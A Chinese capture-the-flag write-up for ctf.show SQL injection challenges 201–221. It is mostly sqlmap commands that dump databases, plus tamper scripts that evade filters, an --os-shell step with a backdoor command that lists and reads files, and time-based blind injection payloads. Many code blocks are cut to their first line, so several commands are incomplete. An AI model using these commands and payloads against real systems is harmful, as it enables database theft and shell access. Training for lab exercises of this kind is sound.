检测出来是mysql数据库
1 | --- |
追加参数 –dbs 查一下数据库名
1 | sqlmap -u https://a739a2e5-6cc9-4382-9357-313735724665.challenge.ctf.show/api/?id=1 --referer https://a739a2e5-6cc9-4382-9357-313735724665.challenge.ctf.show/sqlmap --dbs --batch |
库名为 ctfshow_web
1 | [21:58:29] [INFO] fetching database names |
存在名为 ctfshow_web 的数据库,使用 -D 指定这个库,–tables 指定查这个库下的所有表名:
1 | sqlmap -u https://a739a2e5-6cc9-4382-9357-313735724665.challenge.ctf.show/api/?id=1 --referer https://a739a2e5-6cc9-4382-9357-313735724665.challenge.ctf.show/sqlmap -D ctfshow_web --tables --dbs --batch |
表名为 ctfshow_user
1 | [22:01:42] [INFO] fetching database names |
使用 -T 参数指定这个表,–columns 查该表下所有的列名:
1 | sqlmap -u https://a739a2e5-6cc9-4382-9357-313735724665.challenge.ctf.show/api/?id=1 --referer https://a739a2e5-6cc9-4382-9357-313735724665.challenge.ctf.show/sqlmap -D ctfshow_web -T ctfshow_user --columns --dbs --batch |
1 | [22:05:12] [INFO] fetching columns for table 'ctfshow_user' in database 'ctfshow_web' |
使用 -C 指定列,–dump 转存数据,查具体字段信息:
1 | sqlmap -u https://a739a2e5-6cc9-4382-9357-313735724665.challenge.ctf.show/api/?id=1 --referer https://a739a2e5-6cc9-4382-9357-313735724665.challenge.ctf.show/sqlmap -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batch |
拿到flag
Web202
使用–data 调整sqlmap的请求方式
get改为了post
其他类似web201
1 | python3 sqlmap.py -u https://4b1e49a4-2177-42d4-a9e0-e04e6bc5ccb8.challenge.ctf.show/api/ --data id=1 --referer https://4b1e49a4-2177-42d4-a9e0-e04e6bc5ccb8.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batch |
Web203
使用–method 调整sqlmap的请求方式
–method=METHOD 强制使用提供的 HTTP 方法(例如:PUT)
1 | python3 sqlmap.py -u https://cd66cca2-43e7-4c0b-8f07-ada49894debe.challenge.ctf.show/api/ --method="PUT" --data id=1 --referer https://cd66cca2-43e7-4c0b-8f07-ada49894debe.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batch |
错误
发现需要加上–headers=”Content-Type: text/plain” 不然data是以表单形式发送
1 | python3 sqlmap.py -u https://cd66cca2-43e7-4c0b-8f07-ada49894debe.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://cd66cca2-43e7-4c0b-8f07-ada49894debe.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batch --headers="Content-Type: text/plain" |
Web204
使用–cookie 提交cookie数据
应该需要伪造cookie
–cookie=COOKIE 指定 HTTP Cookie(例如:”PHPSESSID=a8d127e..”)
抓包发现Cookie为
PHPSESSID=92tg4107qhtkril6379gah5l8n; ctfshow=4594231a4d224df0b6e41844c56215eb
1 | python3 sqlmap.py -u https://993846a0-4b81-47da-a238-fa74966739bd.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://993846a0-4b81-47da-a238-fa74966739bd.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batch --headers="Content-Type: text/plain" --cookie="PHPSESSID=92tg4107qhtkril6379gah5l8n; ctfshow=4594231a4d224df0b6e41844c56215eb" |
Web205
api调用需要鉴权
发现查询前每次回先访问/api/getToken.php
追加 –safe-url 参数设置在测试目标地址前访问的安全链接
–safe-url=SAFEURL 测试过程中可频繁访问且合法的 URL 地址(译者注: 有些网站在你连续多次访问错误地址时会关闭会话连接
将 url 设置为 api/getToken.php,再加上 –safe-freq=1 表示访问 api/getToken.php 一次:
跑数据库:
1 | python3 sqlmap.py -u https://f1a0b90b-a4c0-457e-a0bb-6fe7c7ab957c.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://f1a0b90b-a4c0-457e-a0bb-6fe7c7ab957c.challenge.ctf.show/sqlmap.php --safe-url="https://f1a0b90b-a4c0-457e-a0bb-6fe7c7ab957c.challenge.ctf.show/api/getToken.php" --safe-freq=1 --abs --batch --headers="Content-Type: text/plain" --cookie="PHPSESSID=vjf31nfn7u82b2p1pqomtvqadr" |
跑ctfshow_web库中的表:
1 | python3 sqlmap.py -u https://f1a0b90b-a4c0-457e-a0bb-6fe7c7ab957c.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://f1a0b90b-a4c0-457e-a0bb-6fe7c7ab957c.challenge.ctf.show/sqlmap.php --safe-url="https://f1a0b90b-a4c0-457e-a0bb-6fe7c7ab957c.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -tables --batch --headers="Content-Type: text/plain" --cookie="PHPSESSID=vjf31 |
发现多出ctfshow_flax表
1 | [21:55:45] [INFO] fetching tables for database: 'ctfshow_web' |
查ctfshow_flax表下的列名:
1 | python3 sqlmap.py -u https://f1a0b90b-a4c0-457e-a0bb-6fe7c7ab957c.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://f1a0b90b-a4c0-457e-a0bb-6fe7c7ab957c.challenge.ctf.show/sqlmap.php --safe-url=https://f1a0b90b-a4c0-457e-a0bb-6fe7c7ab957c.challenge.ctf.show/api/getToken.php --safe-freq=1 -D ctfshow_web -T ctfshow_flax --columns --batch --headers="Content-Type: text/plain" --cookie |
发现
1 | [21:58:14] [INFO] fetching columns for table 'ctfshow_flax' in database 'ctfshow_web' |
查flagx
1 | python3 sqlmap.py -u https://f1a0b90b-a4c0-457e-a0bb-6fe7c7ab957c.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://f1a0b90b-a4c0-457e-a0bb-6fe7c7ab957c.challenge.ctf.show/sqlmap.php --safe-url=https://f1a0b90b-a4c0-457e-a0bb-6fe7c7ab957c.challenge.ctf.show/api/getToken.php --safe-freq=1 -D ctfshow_web -T ctfshow_flax -C flagx --dump --batch --headers="Content-Type: text/plain" --cookie="PHPSESSID=vjf31nfn7u82b2p1pqomtvqadr" |
得到flag
Web206
sql需要闭合
还是会先请求 /api/getToken.php
查询语句
1 | //拼接sql语句查找指定ID用户 |
查询语句里新增了括号,我们注入也需要将其闭合掉,就像我们闭合单引号那样,对于 sqlmap 它会自动对闭合点进行测试的,常见的就是单引号、双引号、单引号加括号或者双引号加括号。
打上一题的payload
1 | python3 sqlmap.py -u https://ab5a3a4c-2681-49f2-8374-dec512382efb.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://ab5a3a4c-2681-49f2-8374-dec512382efb.challenge.ctf.show/sqlmap.php --safe-url=https://ab5a3a4c-2681-49f2-8374-dec512382efb.challenge.ctf.show/api/getToken.php --safe-freq=1 -D ctfshow_web -T ctfshow_flax -C flagx --dump --batch --headers="Content-Type: text/plain" --cookie="PHPSESSID=hvbjq2d405aju2kjfstvhtdm32" |
可以跑出来可能数据库中的表或者列有改动测试
表名为ctfshow_flaxc 列名为flagv
payload:
1 | python3 sqlmap.py -u https://ab5a3a4c-2681-49f2-8374-dec512382efb.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://ab5a3a4c-2681-49f2-8374-dec512382efb.challenge.ctf.show/sqlmap.php --safe-url=https://ab5a3a4c-2681-49f2-8374-dec512382efb.challenge.ctf.show/api/getToken.php --safe-freq=1 -D ctfshow_web -T ctfshow_flaxc -C flagv --dump --batch --headers="Content-Type: text/plain" -- |
Web207
–tamper 的初体验
查询语句
1 | //拼接sql语句查找指定ID用户 |
返回逻辑
1 | //对传入的参数进行了过滤 |
查询会先请求 /api/getToken.php
发现传入存在过滤空格
空格被过滤可以使用space2comment.py,过滤系统对大小写敏感可以使用randomcase.py
1 | python3 sqlmap.py -u https://8ec57293-1bf3-4eec-94d2-68120447b260.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://8ec57293-1bf3-4eec-94d2-68120447b260.challenge.ctf.show/sqlmap.php --safe-url=https://8ec57293-1bf3-4eec-94d2-68120447b260.challenge.ctf.show/api/getToken.php --safe-freq=1 -dbs --batch --headers="Content-Type: text/plain" --cookie="PHPSESSID=4g1rd2038jt0snt4af12ivfuf6" --tamper "space2comment,versionedmorekeywords.py" -v 3 |
测出存在ctfshow_web库
1 | python3 sqlmap.py -u https://8ec57293-1bf3-4eec-94d2-68120447b260.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://8ec57293-1bf3-4eec-94d2-68120447b260.challenge.ctf.show/sqlmap.php --safe-url=https://8ec57293-1bf3-4eec-94d2-68120447b260.challenge.ctf.show/api/getToken.php --safe-freq=1 -D ctfshow_web --tables --batch --headers="Content-Type: text/plain" --cookie="PHPSESSID=4g1rd2038jt0snt4af12ivfuf6" --tamper "space2comment,versionedmorekeywords.py" -v 3 |
测出表名ctfshow_flaxca
1 | python3 sqlmap.py -u https://8ec57293-1bf3-4eec-94d2-68120447b260.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://8ec57293-1bf3-4eec-94d2-68120447b260.challenge.ctf.show/sqlmap.php --safe-url=https://8ec57293-1bf3-4eec-94d2-68120447b260.challenge.ctf.show/api/getToken.php --safe-freq=1 -D ctfshow_web -T ctfshow_flaxca --columns --batch --headers="Content-Type: text/plain" --cookie="PHPSESSID=4g1rd2038jt0snt4af12ivfuf6" --tamper "space2comment,versionedmorekeywords.py" -v 3 |
列名flagvc
1 | python3 sqlmap.py -u https://8ec57293-1bf3-4eec-94d2-68120447b260.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://8ec57293-1bf3-4eec-94d2-68120447b260.challenge.ctf.show/sqlmap.php --safe-url=https://8ec57293-1bf3-4eec-94d2-68120447b260.challenge.ctf.show/api/getToken.php --safe-freq=1 -D ctfshow_web -T ctfshow_flaxca -C flagvc --dump --batch --headers="Content-Type: text/plain" --cookie="PHPSESSID=4g1rd2038jt0snt4af12ivfuf6" --tamper "space2comment,versionedmorekeywords.py" -v 3 |
get flag
参考链接:
https://blog.csdn.net/whatday/article/details/54774043
Web208
–tamper 的2体验
查询语句
1 | //拼接sql语句查找指定ID用户 |
返回逻辑
1 | //对传入的参数进行了过滤 |
过滤空格使用space2comment.py
select会被替代为空格可大小写绕过 使用versionedmorekeywords.py脚本
查询会先请求 /api/getToken.php
测试发现表名存在变动ctfshow_flaxcac 列名flagvca
1 | python3 sqlmap.py -u https://2f18b665-5b6b-4906-adb3-f70ab0c629ac.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://2f18b665-5b6b-4906-adb3-f70ab0c629ac.challenge.ctf.show/sqlmap.php --safe-url=https://2f18b665-5b6b-4906-adb3-f70ab0c629ac.challenge.ctf.show/api/getToken.php --safe-freq=1 -D ctfshow_web -T ctfshow_flaxcac -C flagvca --dump --batch --headers="Content-Type: text/plain" --cookie="PHPSESSID=na96c3ao87clqfnakhvvlvu8dp" --tamper "space2comment,versionedmorekeywords.py" -v 3 |
get flag
Web209
–tamper 的3体验
查询语句
1 | //拼接sql语句查找指定ID用户 |
返回逻辑
1 | //对传入的参数进行了过滤 |
过滤空格 ✳ =
原脚本是把空格改为/**/
myon.py(空格替代非/**/)
1 | #!/usr/bin/env python |
equaltolike.py like 代替等号
1 | python3 sqlmap.py -u https://c81dfe97-640c-4966-8d24-e05e1b2139a3.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://c81dfe97-640c-4966-8d24-e05e1b2139a3.challenge.ctf.show/sqlmap.php --safe-url=https://c81dfe97-640c-4966-8d24-e05e1b2139a3.challenge.ctf.show/api/getToken.php --safe-freq=1 -D ctfshow_web -T ctfshow_flav -C ctfshow_flagx --dump --batch --headers="Content-Type: text/plain" --cookie="PHPSESSID=vkedu5ak3do445dsng34au2pek" --tamper "myon,equaltolike.py" -v 3 |
Web210
–tamper 的4体验
查询语句
1 | //拼接sql语句查找指定ID用户 |
返回逻辑
1 | //对查询字符进行解密 |
会对查询字符进行两轮 base64 解码和反转
对查询的 payload 进行逆向处理,先反转,再 base64 加密,再反转,再 base64 加密,传入查询后,经过题目的解密和反转处理,最终又恢复到我们正确的 payload 实现注入。
strrev+base64.py
1 | from lib.core.compat import xrange |
1 | python3 sqlmap.py -u https://ba77b411-b918-490f-81c6-8394705002c2.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://ba77b411-b918-490f-81c6-8394705002c2.challenge.ctf.show/sqlmap.php --safe-url=https://ba77b411-b918-490f-81c6-8394705002c2.challenge.ctf.show/api/getToken.php --safe-freq=1 -D ctfshow_web -T ctfshow_flavi --columns --dump --batch --headers="Content-Type: text/plain" - |
Web211
–tamper 的5体验
查询语句
1 | //拼接sql语句查找指定ID用户 |
返回逻辑
1 | //对查询字符进行解密 |
会对查询字符进行两轮 base64 解码和反转 ,同时过滤空格
同时使用space2comment与strrev+base64脚本,注意顺序
1 | python3 sqlmap.py -u https://9811e6bf-5122-4ee3-91df-bbb9b9e1971a.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://9811e6bf-5122-4ee3-91df-bbb9b9e1971a.challenge.ctf.show/sqlmap.php --safe-url=https://9811e6bf-5122-4ee3-91df-bbb9b9e1971a.challenge.ctf.show/api/getToken.php --safe-freq=1 -D ctfshow_web --tables --dump --batch --headers="Content-Type: text/plain" --cookie="PHPSESSID=ad36opmj2qdfqpq2mgifpoljjd" --tamper " space2comment,strrev+base64.py" -v 3 |
Web212
–tamper 的6体验
查询语句
1 | //拼接sql语句查找指定ID用户 |
返回逻辑
1 | //对查询字符进行解密 |
过滤增加*无法使用自带脚本使用web209的myon.py
1 | python3 sqlmap.py -u https://49627346-46d2-4053-b4b1-eba9b6bf0cd5.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://49627346-46d2-4053-b4b1-eba9b6bf0cd5.challenge.ctf.show/sqlmap.php --safe-url=https://49627346-46d2-4053-b4b1-eba9b6bf0cd5.challenge.ctf.show/api/getToken.php --safe-freq=1 -D ctfshow_web --tables --dump --batch --headers="Content-Type: text/plain" --cookie="PHPSESSID=ua7hic99kq3asbgrmsggjprifl" --tamper " myon,strrev+base64.py" -v 3 |
Web213
练习使用–os-shell 一键getshell
查询语句
1 | //拼接sql语句查找指定ID用户 |
返回逻辑
1 | //对查询字符进行解密 |
条件和上一题一样,使用相同脚本
追加 –os-shell 参数
1 | python3 sqlmap.py -u https://59276c62-a49b-4f45-9f09-a85e745bb002.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://59276c62-a49b-4f45-9f09-a85e745bb002.challenge.ctf.show/sqlmap.php --safe-url=https://59276c62-a49b-4f45-9f09-a85e745bb002.challenge.ctf.show/api/getToken.php --safe-freq=1 -D ctfshow_web --tables --dump --batch --headers="Content-Type: text/plain" --cookie="PHPSESSID=ua7hic99kq3asbgrmsggjprifl" --tamper " myon,strrev+base64.py" -v 3 --os-shell |
getshell发现存在一些php文件tmpbyejy.php,tmpuczjy.php
1 | [20:04:19] [DEBUG] used the default behavior, running in batch mode |
访问发现上传点上传后门
访问后门
1 | pass=system("cd /;ls;cat ctfshow_flag"); |
取得flag
Web214
时间盲注篇
看wp发现注入点是 ip 和 debug,将 debug 置 1,在 ip 进行注入,采用 post 请求 /api/index.php:
1 | ip=sleep(5)&debug=1 |
发现等待5s后响应说明存在时间盲注
1 | debug=1&ip=if(substr(database(),1,1)='c',sleep(3),0) |
发现存在延时,而数据库为a时不存在延时说明数据库第一个字母为c
写脚本盲注
1 | import requests |
Web215
查询语句
1 | //用了单引号 |
返回逻辑
1 | //屏蔽危险分子 |
增加单引号闭合
1 | from time import time |
Web216
查询语句
1 | where id = from_base64($id); |
返回逻辑
1 | //屏蔽危险分子 |
对查询语句增加base64加密
1 | from time import time |
Web217
查询语句
1 | where id = ($id); |
返回逻辑
1 | //屏蔽危险分子 |
过滤sleep
采用时间盲注,sleep函数被过滤,使用benchmark函数,将函数重复执行
1 | from time import time |
Web218
查询语句
1 | where id = ($id); |
返回逻辑
1 | //屏蔽危险分子 |
过滤sleep|benchmark
通过笛卡尔积运算来达到延时的目的
1 | # from time import time |
Web219
查询语句
1 | where id = ($id); |
返回逻辑
1 | //屏蔽危险分子 |
过滤sleep|benchmark|rlike
1 | # from time import time |
Web220
查询语句
1 | where id = ($id); |
返回逻辑
1 | //屏蔽危险分子 |
过滤
sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr
Web221
查询语句
1 | //分页查询 |
limit 注入 版本限制(5.0.0-5.6.6)
1 | extractvalue(目标xml文档,xml路径):对XML文档进行查询的函数 |